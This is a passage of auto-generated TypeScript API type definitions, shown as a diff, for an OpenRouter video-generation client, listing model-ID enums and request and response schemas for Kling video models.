'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30StdRequestModelEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30StdRequestModelEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30StdRequestModelEnum] + +export const openrouterPostVideosKwaivgiKlingV30StdRequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '720x720': '720x720', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30StdRequestSizeEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30StdRequestSizeEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30StdRequestSizeEnum] + +/** + * @description Kling: Video v3.0 Standard (kwaivgi/kling-v3.0-std) — model-constrained video generation request. Kling v3.0 Standard is a video generation model from Kuaishou. It supports text-to-video and image-to-video workflows, with first-frame and last-frame control for guided scene composition. Clips range from 3 to... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingV30StdBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosKwaivgiKlingV30StdRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosKwaivgiKlingV30StdRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosKwaivgiKlingV30StdRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: negative_prompt, cfg_scale. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '720p' + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosKwaivgiKlingV30StdRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosKwaivgiKlingV30StdOptions = { + body: OpenrouterPostVideosKwaivgiKlingV30StdBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosKwaivgiKlingV30StdResponses = { + '200': OpenrouterPostVideosKwaivgiKlingV30StdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosKwaivgiKlingV30StdResponse = + OpenrouterPostVideosKwaivgiKlingV30StdStatus200 + +export const openrouterPostVideosKwaivgiKlingVideoO1Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosKwaivgiKlingVideoO1Status200StatusEnumKey = + (typeof openrouterPostVideosKwaivgiKlingVideoO1Status200StatusEnum)[keyof typeof openrouterPostVideosKwaivgiKlingVideoO1Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingVideoO1Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosKwaivgiKlingVideoO1Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosKwaivgiKlingVideoO1RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type OpenrouterPostVideosKwaivgiKlingVideoO1RequestAspectRatioEnumKey = + (typeof openrouterPostVideosKwaivgiKlingVideoO1RequestAspectRatioEnum)[keyof typeof openrouterPostVideosKwaivgiKlingVideoO1RequestAspectRatioEnum] + +export const openrouterPostVideosKwaivgiKlingVideoO1RequestDurationEnum = { + '5': 5, + '10': 10, +} as const + +export type OpenrouterPostVideosKwaivgiKlingVideoO1RequestDurationEnumKey = + (typeof openrouterPostVideosKwaivgiKlingVideoO1RequestDurationEnum)[keyof typeof openrouterPostVideosKwaivgiKlingVideoO1RequestDurationEnum] + +export const openrouterPostVideosKwaivgiKlingVideoO1RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 